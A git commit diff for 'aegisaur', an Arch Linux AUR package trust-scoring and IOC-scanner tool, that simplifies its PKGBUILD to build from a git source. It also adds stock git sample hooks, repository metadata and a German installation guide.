fix: PKGBUILD vereinfacht - Git-Source statt Release-TAR
Rust CI / Test (push) Failing after 2s
Rust CI / Release (x86_64-unknown-linux-gnu) (push) Has been skipped
Rust CI / Release (x86_64-unknown-linux-musl) (push) Has been skipped

- libalpm Abhängigkeit entfernt (im pacman enthalten)
- Lokale Git-Quelle für makepkg
- makepkg -si funktioniert jetzt
- Version 0.1.0-1 erfolgreich installiert
This commit is contained in:
Thuumate 👻
2026-06-15 18:01:11 +02:00
parent afc5db8d76
commit 8fc2453c45
41 changed files with 3818 additions and 1702 deletions
+11 -35
View File
@@ -5,45 +5,32 @@ pkgname=aegisaur
pkgver=0.1.0 pkgver=0.1.0
pkgrel=1 pkgrel=1
pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete" pkgdesc="Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete"
arch=('x86_64' 'x86_64_v3' 'x86_64_v4' 'aarch64') arch=('x86_64')
url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur" url="https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
license=('MIT') license=('MIT')
makedepends=('rust' 'cargo') makedepends=('rust' 'cargo')
depends=('pacman' 'libalpm') depends=('pacman')
optdepends=( # Lokale Quellen (aus Git-Checkout)
'sudo: für install-hook und ALPM-Integration' source=("aegisaur::git+$url.git#branch=master")
'nodejs: für IOC-Checks mit npm-Paketen'
)
source=("$pkgname-$pkgver.tar.gz::$url/archive/refs/tags/v$pkgver.tar.gz")
sha256sums=('SKIP') sha256sums=('SKIP')
build() { build() {
cd "$srcdir/$pkgname-$pkgver" cd "$srcdir/$pkgname"
export RUSTFLAGS="-C target-cpu=${CARCH}" export RUSTFLAGS="-C opt-level=3"
cargo build --release --locked cargo build --release --locked
} }
package() { package() {
cd "$srcdir/$pkgname-$pkgver" cd "$srcdir/$pkgname"
# Binary # Binary
install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname" install -Dm755 "target/release/$pkgname" "$pkgdir/usr/bin/$pkgname"
# ALPM Hook
install -Dm644 "src/hook/hook.install" "$pkgdir/usr/share/libalpm/hooks/99-aegisaur.hook"
install -Dm755 "src/hook/check.sh" "$pkgdir/usr/share/libalpm/hooks/aegisaur-check.sh"
# Dokumentation # Dokumentation
install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md" install -Dm644 README.md "$pkgdir/usr/share/doc/$pkgname/README.md"
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md" install -Dm644 INSTALL.md "$pkgdir/usr/share/doc/$pkgname/INSTALL.md"
install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md" install -Dm644 USAGE.md "$pkgdir/usr/share/doc/$pkgname/USAGE.md"
install -Dm644 TODO.md "$pkgdir/usr/share/doc/$pkgname/TODO.md"
# Config Beispiel
install -Dm644 "config/example.toml" "$pkgdir/usr/share/$pkgname/config.example.toml"
# Licence
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/$pkgname/LICENSE"
} }
post_install() { post_install() {
@@ -51,22 +38,11 @@ post_install() {
echo "║ AegisAUR wurde installiert! ║" echo "║ AegisAUR wurde installiert! ║"
echo "╚══════════════════════════════════════════════════════════════╝" echo "╚══════════════════════════════════════════════════════════════╝"
echo "" echo ""
echo "Nutzer-Spezifisches Setup:" echo "Quickstart:"
echo " aegisaur config → Erstellt ~/.config/aegisaur/config.toml"
echo ""
echo "Systemweites Setup (ALPM-Hook):"
echo " sudo aegisaur install-hook"
echo ""
echo "Schnellstart:"
echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete" echo " aegisaur scan-all → Scannt alle installierten AUR-Pakete"
echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen" echo " aegisaur check-ioc → Prüft gegen aktuelle IOC-Listen"
echo " sudo aegisaur install-hook → ALPM-Hook installieren"
echo "" echo ""
echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur" echo "Mehr Infos: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur"
} echo "Doku: /usr/share/doc/aegisaur/USAGE.md"
pre_remove() {
echo "AegisAUR Hook wird entfernt..."
if command -v aegisaur >/dev/null 2>&1; then
aegisaur remove-hook 2>/dev/null || true
fi
} }
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
ref: refs/heads/main
+9
View File
@@ -0,0 +1,9 @@
[core]
repositoryformatversion = 0
filemode = true
bare = true
[remote "origin"]
url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git
tagOpt = --no-tags
fetch = +refs/*:refs/*
mirror = true
+1
View File
@@ -0,0 +1 @@
Unnamed repository; edit this file 'description' to name the repository.
+15
View File
@@ -0,0 +1,15 @@
#!/bin/sh
#
# An example hook script to check the commit log message taken by
# applypatch from an e-mail message.
#
# The hook should exit with non-zero status after issuing an
# appropriate message if it wants to stop the commit. The hook is
# allowed to edit the commit message file.
#
# To enable this hook, rename this file to "applypatch-msg".
. git-sh-setup
commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
:
+74
View File
@@ -0,0 +1,74 @@
#!/bin/sh
#
# An example hook script to check the commit log message.
# Called by "git commit" with one argument, the name of the file
# that has the commit message. The hook should exit with non-zero
# status after issuing an appropriate message if it wants to stop the
# commit. The hook is allowed to edit the commit message file.
#
# To enable this hook, rename this file to "commit-msg".
# Uncomment the below to add a Signed-off-by line to the message.
# Doing this in a hook is a bad idea in general, but the prepare-commit-msg
# hook is more suited to it.
#
# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
# This example catches duplicate Signed-off-by lines and messages that
# would confuse 'git am'.
ret=0
test "" = "$(grep '^Signed-off-by: ' "$1" |
sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || {
echo >&2 Duplicate Signed-off-by lines.
ret=1
}
comment_re="$(
{
git config --get-regexp "^core\.comment(char|string)\$" ||
echo '#'
} | sed -n -e '
${
s/^[^ ]* //
s|[][*./\]|\\&|g
s/^auto$/[#;@!$%^&|:]/
p
}'
)"
scissors_line="^${comment_re} -\{8,\} >8 -\{8,\}\$"
comment_line="^${comment_re}.*"
blank_line='^[ ]*$'
# Disallow lines starting with "diff -" or "Index: " in the body of the
# message. Stop looking if we see a scissors line.
line="$(sed -n -e "
# Skip comments and blank lines at the start of the file.
/${scissors_line}/q
/${comment_line}/d
/${blank_line}/d
# The first paragraph will become the subject header so
# does not need to be checked.
: subject
n
/${scissors_line}/q
/${blank_line}/!b subject
# Check the body of the message for problematic
# prefixes.
: body
n
/${scissors_line}/q
/${comment_line}/b body
/^diff -/{p;q;}
/^Index: /{p;q;}
b body
" "$1")"
if test -n "$line"
then
echo >&2 "Message contains a diff that will confuse 'git am'."
echo >&2 "To fix this indent the diff."
ret=1
fi
exit $ret
+168
View File
@@ -0,0 +1,168 @@
#!/usr/bin/perl
use strict;
use warnings;
use IPC::Open2;
# An example hook script to integrate Watchman
# (https://facebook.github.io/watchman/) with git to speed up detecting
# new and modified files.
#
# The hook is passed a version (currently 2) and last update token
# formatted as a string and outputs to stdout a new update token and
# all files that have been modified since the update token. Paths must
# be relative to the root of the working tree and separated by a single NUL.
#
# To enable this hook, rename this file to "query-watchman" and set
# 'git config core.fsmonitor .git/hooks/query-watchman'
#
my ($version, $last_update_token) = @ARGV;
# Uncomment for debugging
# print STDERR "$0 $version $last_update_token\n";
# Check the hook interface version
if ($version ne 2) {
die "Unsupported query-fsmonitor hook version '$version'.\n" .
"Falling back to scanning...\n";
}
my $git_work_tree = get_working_dir();
my $json_pkg;
eval {
require JSON::XS;
$json_pkg = "JSON::XS";
1;
} or do {
require JSON::PP;
$json_pkg = "JSON::PP";
};
launch_watchman();
sub launch_watchman {
my $o = watchman_query();
if (is_work_tree_watched($o)) {
output_result($o->{clock}, @{$o->{files}});
}
}
sub output_result {
my ($clockid, @files) = @_;
# Uncomment for debugging watchman output
# open (my $fh, ">", ".git/watchman-output.out");
# binmode $fh, ":utf8";
# print $fh "$clockid\n@files\n";
# close $fh;
binmode STDOUT, ":utf8";
print $clockid;
print "\0";
local $, = "\0";
print @files;
}
sub watchman_clock {
my $response = qx/watchman clock "$git_work_tree"/;
die "Failed to get clock id on '$git_work_tree'.\n" .
"Falling back to scanning...\n" if $? != 0;
return $json_pkg->new->utf8->decode($response);
}
sub watchman_query {
my $pid = open2(\*CHLD_OUT, \*CHLD_IN, 'watchman -j --no-pretty')
or die "open2() failed: $!\n" .
"Falling back to scanning...\n";
# In the query expression below we're asking for names of files that
# changed since $last_update_token but not from the .git folder.
#
# To accomplish this, we're using the "since" generator to use the
# recency index to select candidate nodes and "fields" to limit the
# output to file names only. Then we're using the "expression" term to
# further constrain the results.
my $last_update_line = "";
if (substr($last_update_token, 0, 1) eq "c") {
$last_update_token = "\"$last_update_token\"";
$last_update_line = qq[\n"since": $last_update_token,];
}
my $query = <<" END";
["query", "$git_work_tree", {$last_update_line
"fields": ["name"],
"expression": ["not", ["dirname", ".git"]]
}]
END
# Uncomment for debugging the watchman query
# open (my $fh, ">", ".git/watchman-query.json");
# print $fh $query;
# close $fh;
print CHLD_IN $query;
close CHLD_IN;
my $response = do {local $/; <CHLD_OUT>};
# Uncomment for debugging the watch response
# open ($fh, ">", ".git/watchman-response.json");
# print $fh $response;
# close $fh;
die "Watchman: command returned no output.\n" .
"Falling back to scanning...\n" if $response eq "";
die "Watchman: command returned invalid output: $response\n" .
"Falling back to scanning...\n" unless $response =~ /^\{/;
return $json_pkg->new->utf8->decode($response);
}
sub is_work_tree_watched {
my ($output) = @_;
my $error = $output->{error};
if ($error and $error =~ m/unable to resolve root .* directory (.*) is not watched/) {
my $response = qx/watchman watch "$git_work_tree"/;
die "Failed to make watchman watch '$git_work_tree'.\n" .
"Falling back to scanning...\n" if $? != 0;
$output = $json_pkg->new->utf8->decode($response);
$error = $output->{error};
die "Watchman: $error.\n" .
"Falling back to scanning...\n" if $error;
# Uncomment for debugging watchman output
# open (my $fh, ">", ".git/watchman-output.out");
# close $fh;
# Watchman will always return all files on the first query so
# return the fast "everything is dirty" flag to git and do the
# Watchman query just to get it over with now so we won't pay
# the cost in git to look up each individual file.
my $o = watchman_clock();
$error = $o->{error};
die "Watchman: $error.\n" .
"Falling back to scanning...\n" if $error;
output_result($o->{clock}, ("/"));
return 0;
}
die "Watchman: $error.\n" .
"Falling back to scanning...\n" if $error;
return 1;
}
sub get_working_dir {
my $working_dir;
if ($^O =~ 'msys' || $^O =~ 'cygwin') {
$working_dir = Win32::GetCwd();
$working_dir =~ tr/\\/\//;
} else {
require Cwd;
$working_dir = Cwd::cwd();
}
return $working_dir;
}
+8
View File
@@ -0,0 +1,8 @@
#!/bin/sh
#
# An example hook script to prepare a packed repository for use over
# dumb transports.
#
# To enable this hook, rename this file to "post-update".
exec git update-server-info
+14
View File
@@ -0,0 +1,14 @@
#!/bin/sh
#
# An example hook script to verify what is about to be committed
# by applypatch from an e-mail message.
#
# The hook should exit with non-zero status after issuing an
# appropriate message if it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-applypatch".
. git-sh-setup
precommit="$(git rev-parse --git-path hooks/pre-commit)"
test -x "$precommit" && exec "$precommit" ${1+"$@"}
:
+49
View File
@@ -0,0 +1,49 @@
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git commit" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message if
# it wants to stop the commit.
#
# To enable this hook, rename this file to "pre-commit".
if git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
# Initial commit: diff against an empty tree object
against=$(git hash-object -t tree /dev/null)
fi
# If you want to allow non-ASCII filenames set this variable to true.
allownonascii=$(git config --type=bool hooks.allownonascii)
# Redirect output to stderr.
exec 1>&2
# Cross platform projects tend to avoid non-ASCII filenames; prevent
# them from being added to the repository. We exploit the fact that the
# printable range starts at the space character and ends with tilde.
if [ "$allownonascii" != "true" ] &&
# Note that the use of brackets around a tr range is ok here, (it's
# even required, for portability to Solaris 10's /usr/bin/tr), since
# the square bracket bytes happen to fall in the designated range.
test $(git diff-index --cached --name-only --diff-filter=A -z $against |
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
cat <<\EOF
Error: Attempt to add a non-ASCII file name.
This can cause problems if you want to work with people on other platforms.
To be portable it is advisable to rename the file.
If you know what you are doing you can disable this check using:
git config hooks.allownonascii true
EOF
exit 1
fi
# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --
+13
View File
@@ -0,0 +1,13 @@
#!/bin/sh
#
# An example hook script to verify what is about to be committed.
# Called by "git merge" with no arguments. The hook should
# exit with non-zero status after issuing an appropriate message to
# stderr if it wants to stop the merge commit.
#
# To enable this hook, rename this file to "pre-merge-commit".
. git-sh-setup
test -x "$GIT_DIR/hooks/pre-commit" &&
exec "$GIT_DIR/hooks/pre-commit"
:
+53
View File
@@ -0,0 +1,53 @@
#!/bin/sh
# An example hook script to verify what is about to be pushed. Called by "git
# push" after it has checked the remote status, but before anything has been
# pushed. If this script exits with a non-zero status nothing will be pushed.
#
# This hook is called with the following parameters:
#
# $1 -- Name of the remote to which the push is being done
# $2 -- URL to which the push is being done
#
# If pushing without using a named remote those arguments will be equal.
#
# Information about the commits which are being pushed is supplied as lines to
# the standard input in the form:
#
# <local ref> <local oid> <remote ref> <remote oid>
#
# This sample shows how to prevent push of commits where the log message starts
# with "WIP" (work in progress).
remote="$1"
url="$2"
zero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')
while read local_ref local_oid remote_ref remote_oid
do
if test "$local_oid" = "$zero"
then
# Handle delete
:
else
if test "$remote_oid" = "$zero"
then
# New branch, examine all commits
range="$local_oid"
else
# Update to existing branch, examine new commits
range="$remote_oid..$local_oid"
fi
# Check for WIP commit
commit=$(git rev-list -n 1 --grep '^WIP' "$range")
if test -n "$commit"
then
echo >&2 "Found WIP commit in $local_ref, not pushing"
exit 1
fi
fi
done
exit 0
+169
View File
@@ -0,0 +1,169 @@
#!/bin/sh
#
# Copyright (c) 2006, 2008 Junio C Hamano
#
# The "pre-rebase" hook is run just before "git rebase" starts doing
# its job, and can prevent the command from running by exiting with
# non-zero status.
#
# The hook is called with the following parameters:
#
# $1 -- the upstream the series was forked from.
# $2 -- the branch being rebased (or empty when rebasing the current branch).
#
# This sample shows how to prevent topic branches that are already
# merged to 'next' branch from getting rebased, because allowing it
# would result in rebasing already published history.
publish=next
basebranch="$1"
if test "$#" = 2
then
topic="refs/heads/$2"
else
topic=`git symbolic-ref HEAD` ||
exit 0 ;# we do not interrupt rebasing detached HEAD
fi
case "$topic" in
refs/heads/??/*)
;;
*)
exit 0 ;# we do not interrupt others.
;;
esac
# Now we are dealing with a topic branch being rebased
# on top of master. Is it OK to rebase it?
# Does the topic really exist?
git show-ref -q "$topic" || {
echo >&2 "No such branch $topic"
exit 1
}
# Is topic fully merged to master?
not_in_master=`git rev-list --pretty=oneline ^master "$topic"`
if test -z "$not_in_master"
then
echo >&2 "$topic is fully merged to master; better remove it."
exit 1 ;# we could allow it, but there is no point.
fi
# Is topic ever merged to next? If so you should not be rebasing it.
only_next_1=`git rev-list ^master "^$topic" ${publish} | sort`
only_next_2=`git rev-list ^master ${publish} | sort`
if test "$only_next_1" = "$only_next_2"
then
not_in_topic=`git rev-list "^$topic" master`
if test -z "$not_in_topic"
then
echo >&2 "$topic is already up to date with master"
exit 1 ;# we could allow it, but there is no point.
else
exit 0
fi
else
not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"`
/usr/bin/perl -e '
my $topic = $ARGV[0];
my $msg = "* $topic has commits already merged to public branch:\n";
my (%not_in_next) = map {
/^([0-9a-f]+) /;
($1 => 1);
} split(/\n/, $ARGV[1]);
for my $elem (map {
/^([0-9a-f]+) (.*)$/;
[$1 => $2];
} split(/\n/, $ARGV[2])) {
if (!exists $not_in_next{$elem->[0]}) {
if ($msg) {
print STDERR $msg;
undef $msg;
}
print STDERR " $elem->[1]\n";
}
}
' "$topic" "$not_in_next" "$not_in_master"
exit 1
fi
<<\DOC_END
This sample hook safeguards topic branches that have been
published from being rewound.
The workflow assumed here is:
* Once a topic branch forks from "master", "master" is never
merged into it again (either directly or indirectly).
* Once a topic branch is fully cooked and merged into "master",
it is deleted. If you need to build on top of it to correct
earlier mistakes, a new topic branch is created by forking at
the tip of the "master". This is not strictly necessary, but
it makes it easier to keep your history simple.
* Whenever you need to test or publish your changes to topic
branches, merge them into "next" branch.
The script, being an example, hardcodes the publish branch name
to be "next", but it is trivial to make it configurable via
$GIT_DIR/config mechanism.
With this workflow, you would want to know:
(1) ... if a topic branch has ever been merged to "next". Young
topic branches can have stupid mistakes you would rather
clean up before publishing, and things that have not been
merged into other branches can be easily rebased without
affecting other people. But once it is published, you would
not want to rewind it.
(2) ... if a topic branch has been fully merged to "master".
Then you can delete it. More importantly, you should not
build on top of it -- other people may already want to
change things related to the topic as patches against your
"master", so if you need further changes, it is better to
fork the topic (perhaps with the same name) afresh from the
tip of "master".
Let's look at this example:
o---o---o---o---o---o---o---o---o---o "next"
/ / / /
/ a---a---b A / /
/ / / /
/ / c---c---c---c B /
/ / / \ /
/ / / b---b C \ /
/ / / / \ /
---o---o---o---o---o---o---o---o---o---o---o "master"
A, B and C are topic branches.
* A has one fix since it was merged up to "next".
* B has finished. It has been fully merged up to "master" and "next",
and is ready to be deleted.
* C has not merged to "next" at all.
We would want to allow C to be rebased, refuse A, and encourage
B to be deleted.
To compute (1):
git rev-list ^master ^topic next
git rev-list ^master next
if these match, topic has not merged in next at all.
To compute (2):
git rev-list master..topic
if this is empty, it is fully merged to "master".
DOC_END
+24
View File
@@ -0,0 +1,24 @@
#!/bin/sh
#
# An example hook script to make use of push options.
# The example simply echoes all push options that start with 'echoback='
# and rejects all pushes when the "reject" push option is used.
#
# To enable this hook, rename this file to "pre-receive".
if test -n "$GIT_PUSH_OPTION_COUNT"
then
i=0
while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
do
eval "value=\$GIT_PUSH_OPTION_$i"
case "$value" in
echoback=*)
echo "echo from the pre-receive-hook: ${value#*=}" >&2
;;
reject)
exit 1
esac
i=$((i + 1))
done
fi
+42
View File
@@ -0,0 +1,42 @@
#!/bin/sh
#
# An example hook script to prepare the commit log message.
# Called by "git commit" with the name of the file that has the
# commit message, followed by the description of the commit
# message's source. The hook's purpose is to edit the commit
# message file. If the hook fails with a non-zero status,
# the commit is aborted.
#
# To enable this hook, rename this file to "prepare-commit-msg".
# This hook includes three examples. The first one removes the
# "# Please enter the commit message..." help message.
#
# The second includes the output of "git diff --name-status -r"
# into the message, just before the "git status" output. It is
# commented because it doesn't cope with --amend or with squashed
# commits.
#
# The third example adds a Signed-off-by line to the message, that can
# still be edited. This is rarely a good idea.
COMMIT_MSG_FILE=$1
COMMIT_SOURCE=$2
SHA1=$3
/usr/bin/perl -i.bak -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE"
# case "$COMMIT_SOURCE,$SHA1" in
# ,|template,)
# /usr/bin/perl -i.bak -pe '
# print "\n" . `git diff --cached --name-status -r`
# if /^#/ && $first++ == 0' "$COMMIT_MSG_FILE" ;;
# *) ;;
# esac
# SOB=$(git var GIT_COMMITTER_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
# git interpret-trailers --in-place --trailer "$SOB" "$COMMIT_MSG_FILE"
# if test -z "$COMMIT_SOURCE"
# then
# /usr/bin/perl -i.bak -pe 'print "\n" if !$first_line++' "$COMMIT_MSG_FILE"
# fi
+78
View File
@@ -0,0 +1,78 @@
#!/bin/sh
# An example hook script to update a checked-out tree on a git push.
#
# This hook is invoked by git-receive-pack(1) when it reacts to git
# push and updates reference(s) in its repository, and when the push
# tries to update the branch that is currently checked out and the
# receive.denyCurrentBranch configuration variable is set to
# updateInstead.
#
# By default, such a push is refused if the working tree and the index
# of the remote repository has any difference from the currently
# checked out commit; when both the working tree and the index match
# the current commit, they are updated to match the newly pushed tip
# of the branch. This hook is to be used to override the default
# behaviour; however the code below reimplements the default behaviour
# as a starting point for convenient modification.
#
# The hook receives the commit with which the tip of the current
# branch is going to be updated:
commit=$1
# It can exit with a non-zero status to refuse the push (when it does
# so, it must not modify the index or the working tree).
die () {
echo >&2 "$*"
exit 1
}
# Or it can make any necessary changes to the working tree and to the
# index to bring them to the desired state when the tip of the current
# branch is updated to the new commit, and exit with a zero status.
#
# For example, the hook can simply run git read-tree -u -m HEAD "$1"
# in order to emulate git fetch that is run in the reverse direction
# with git push, as the two-tree form of git read-tree -u -m is
# essentially the same as git switch or git checkout that switches
# branches while keeping the local changes in the working tree that do
# not interfere with the difference between the branches.
# The below is a more-or-less exact translation to shell of the C code
# for the default behaviour for git's push-to-checkout hook defined in
# the push_to_deploy() function in builtin/receive-pack.c.
#
# Note that the hook will be executed from the repository directory,
# not from the working tree, so if you want to perform operations on
# the working tree, you will have to adapt your code accordingly, e.g.
# by adding "cd .." or using relative paths.
if ! git update-index -q --ignore-submodules --refresh
then
die "Up-to-date check failed"
fi
if ! git diff-files --quiet --ignore-submodules --
then
die "Working directory has unstaged changes"
fi
# This is a rough translation of:
#
# head_has_history() ? "HEAD" : EMPTY_TREE_SHA1_HEX
if git cat-file -e HEAD 2>/dev/null
then
head=HEAD
else
head=$(git hash-object -t tree --stdin </dev/null)
fi
if ! git diff-index --quiet --cached --ignore-submodules $head --
then
die "Working directory has staged changes"
fi
if ! git read-tree -u -m "$commit"
then
die "Could not update working tree to new HEAD"
fi
+77
View File
@@ -0,0 +1,77 @@
#!/bin/sh
# An example hook script to validate a patch (and/or patch series) before
# sending it via email.
#
# The hook should exit with non-zero status after issuing an appropriate
# message if it wants to prevent the email(s) from being sent.
#
# To enable this hook, rename this file to "sendemail-validate".
#
# By default, it will only check that the patch(es) can be applied on top of
# the default upstream branch without conflicts in a secondary worktree. After
# validation (successful or not) of the last patch of a series, the worktree
# will be deleted.
#
# The following config variables can be set to change the default remote and
# remote ref that are used to apply the patches against:
#
# sendemail.validateRemote (default: origin)
# sendemail.validateRemoteRef (default: HEAD)
#
# Replace the TODO placeholders with appropriate checks according to your
# needs.
validate_cover_letter () {
file="$1"
# TODO: Replace with appropriate checks (e.g. spell checking).
true
}
validate_patch () {
file="$1"
# Ensure that the patch applies without conflicts.
git am -3 "$file" || return
# TODO: Replace with appropriate checks for this patch
# (e.g. checkpatch.pl).
true
}
validate_series () {
# TODO: Replace with appropriate checks for the whole series
# (e.g. quick build, coding style checks, etc.).
true
}
# main -------------------------------------------------------------------------
if test "$GIT_SENDEMAIL_FILE_COUNTER" = 1
then
remote=$(git config --default origin --get sendemail.validateRemote) &&
ref=$(git config --default HEAD --get sendemail.validateRemoteRef) &&
worktree=$(mktemp --tmpdir -d sendemail-validate.XXXXXXX) &&
git worktree add -fd --checkout "$worktree" "refs/remotes/$remote/$ref" &&
git config --replace-all sendemail.validateWorktree "$worktree"
else
worktree=$(git config --get sendemail.validateWorktree)
fi || {
echo "sendemail-validate: error: failed to prepare worktree" >&2
exit 1
}
unset GIT_DIR GIT_WORK_TREE
cd "$worktree" &&
if grep -q "^diff --git " "$1"
then
validate_patch "$1"
else
validate_cover_letter "$1"
fi &&
if test "$GIT_SENDEMAIL_FILE_COUNTER" = "$GIT_SENDEMAIL_FILE_TOTAL"
then
git config --unset-all sendemail.validateWorktree &&
trap 'git worktree remove -ff "$worktree"' EXIT &&
validate_series
fi
+128
View File
@@ -0,0 +1,128 @@
#!/bin/sh
#
# An example hook script to block unannotated tags from entering.
# Called by "git receive-pack" with arguments: refname sha1-old sha1-new
#
# To enable this hook, rename this file to "update".
#
# Config
# ------
# hooks.allowunannotated
# This boolean sets whether unannotated tags will be allowed into the
# repository. By default they won't be.
# hooks.allowdeletetag
# This boolean sets whether deleting tags will be allowed in the
# repository. By default they won't be.
# hooks.allowmodifytag
# This boolean sets whether a tag may be modified after creation. By default
# it won't be.
# hooks.allowdeletebranch
# This boolean sets whether deleting branches will be allowed in the
# repository. By default they won't be.
# hooks.denycreatebranch
# This boolean sets whether remotely creating branches will be denied
# in the repository. By default this is allowed.
#
# --- Command line
refname="$1"
oldrev="$2"
newrev="$3"
# --- Safety check
if [ -z "$GIT_DIR" ]; then
echo "Don't run this script from the command line." >&2
echo " (if you want, you could supply GIT_DIR then run" >&2
echo " $0 <ref> <oldrev> <newrev>)" >&2
exit 1
fi
if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then
echo "usage: $0 <ref> <oldrev> <newrev>" >&2
exit 1
fi
# --- Config
allowunannotated=$(git config --type=bool hooks.allowunannotated)
allowdeletebranch=$(git config --type=bool hooks.allowdeletebranch)
denycreatebranch=$(git config --type=bool hooks.denycreatebranch)
allowdeletetag=$(git config --type=bool hooks.allowdeletetag)
allowmodifytag=$(git config --type=bool hooks.allowmodifytag)
# check for no description
projectdesc=$(sed -e '1q' "$GIT_DIR/description")
case "$projectdesc" in
"Unnamed repository"* | "")
echo "*** Project description file hasn't been set" >&2
exit 1
;;
esac
# --- Check types
# if $newrev is 0000...0000, it's a commit to delete a ref.
zero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')
if [ "$newrev" = "$zero" ]; then
newrev_type=delete
else
newrev_type=$(git cat-file -t $newrev)
fi
case "$refname","$newrev_type" in
refs/tags/*,commit)
# un-annotated tag
short_refname=${refname##refs/tags/}
if [ "$allowunannotated" != "true" ]; then
echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2
echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2
exit 1
fi
;;
refs/tags/*,delete)
# delete tag
if [ "$allowdeletetag" != "true" ]; then
echo "*** Deleting a tag is not allowed in this repository" >&2
exit 1
fi
;;
refs/tags/*,tag)
# annotated tag
if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1
then
echo "*** Tag '$refname' already exists." >&2
echo "*** Modifying a tag is not allowed in this repository." >&2
exit 1
fi
;;
refs/heads/*,commit)
# branch
if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then
echo "*** Creating a branch is not allowed in this repository" >&2
exit 1
fi
;;
refs/heads/*,delete)
# delete branch
if [ "$allowdeletebranch" != "true" ]; then
echo "*** Deleting a branch is not allowed in this repository" >&2
exit 1
fi
;;
refs/remotes/*,commit)
# tracking branch
;;
refs/remotes/*,delete)
# delete tracking branch
if [ "$allowdeletebranch" != "true" ]; then
echo "*** Deleting a tracking branch is not allowed in this repository" >&2
exit 1
fi
;;
*)
# Anything else (is there anything else?)
echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2
exit 1
;;
esac
# --- Finished
exit 0
+1
View File
@@ -0,0 +1 @@
* -export-subst -export-ignore
+6
View File
@@ -0,0 +1,6 @@
# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~
+3
View File
@@ -0,0 +1,3 @@
# pack-refs with: peeled fully-peeled sorted
e765ceddfc8109abdc1990a813ed759a5ff2b7ee refs/heads/main
afc5db8d76b6c747724769d4a266253822eceb55 refs/heads/master
File diff suppressed because it is too large Load Diff
Binary file not shown.
+16
View File
@@ -0,0 +1,16 @@
# Generated by makepkg 7.1.0
# using fakeroot version 1.37.2
pkgname = aegisaur
pkgbase = aegisaur
xdata = pkgtype=pkg
pkgver = 0.1.0-1
pkgdesc = Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete
url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
builddate = 1781539210
packager = Unknown Packager
size = 5620877
arch = x86_64
license = MIT
depend = pacman
makedepend = rust
makedepend = cargo
BIN
View File
Binary file not shown.
@@ -0,0 +1,84 @@
# 📦 Installation Guide
## Schnellstart
```bash
# Als AUR-Paket installieren (empfohlen)
makepkg -si PKGBUILD
# Oder systemweit nach /usr/local/bin
sudo cp target/release/aegisaur /usr/local/bin/
sudo chmod +x /usr/local/bin/aegisaur
# Oder symbolischer Link
sudo ln -s $(pwd)/target/release/aegisaur /usr/local/bin/aegisaur
```
## Eigenes AUR-Repository
### Pfad auf Gitea
```
https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
```
### Installation (empfohlen)
```bash
cd /home/arch_agent_system/.openclaw/workspace/aegisaur
makepkg -si
```
### Alternative: Git-Clone + Build
```bash
git clone https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git
cd aegisaur
cargo build --release
sudo cp target/release/aegisaur /usr/local/bin/
sudo aegisaur install-hook
```
### ⚠️ Pacman-Repo Hinweis
> Ein pacman-Remote (`[aegisaur]` in pacman.conf) braucht eine `.db` Datei, die Gitea nicht automatisch bereitstellt. Nutze stattdessen `makepkg` oder den Release-Download.
### Release-Download (Fallback)
```bash
curl -LO https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/releases/download/v0.1.0/aegisaur-0.1.0-x86_64.tar.gz
tar xzf aegisaur-0.1.0-x86_64.tar.gz
sudo install -Dm755 aegisaur /usr/bin/aegisaur
```
## ALPM-Hook (systemweit)
```bash
# Installiert Hook nach /usr/share/libalpm/hooks/
sudo aegisaur install-hook
# Deinstalliert Hook
sudo aegisaur remove-hook
```
## Konfiguration
```bash
# Erstellt ~/.config/aegisaur/config.toml
aegisaur config
# Beispiel-Config kopieren
cp /usr/share/aegisaur/config.example.toml ~/.config/aegisaur/config.toml
```
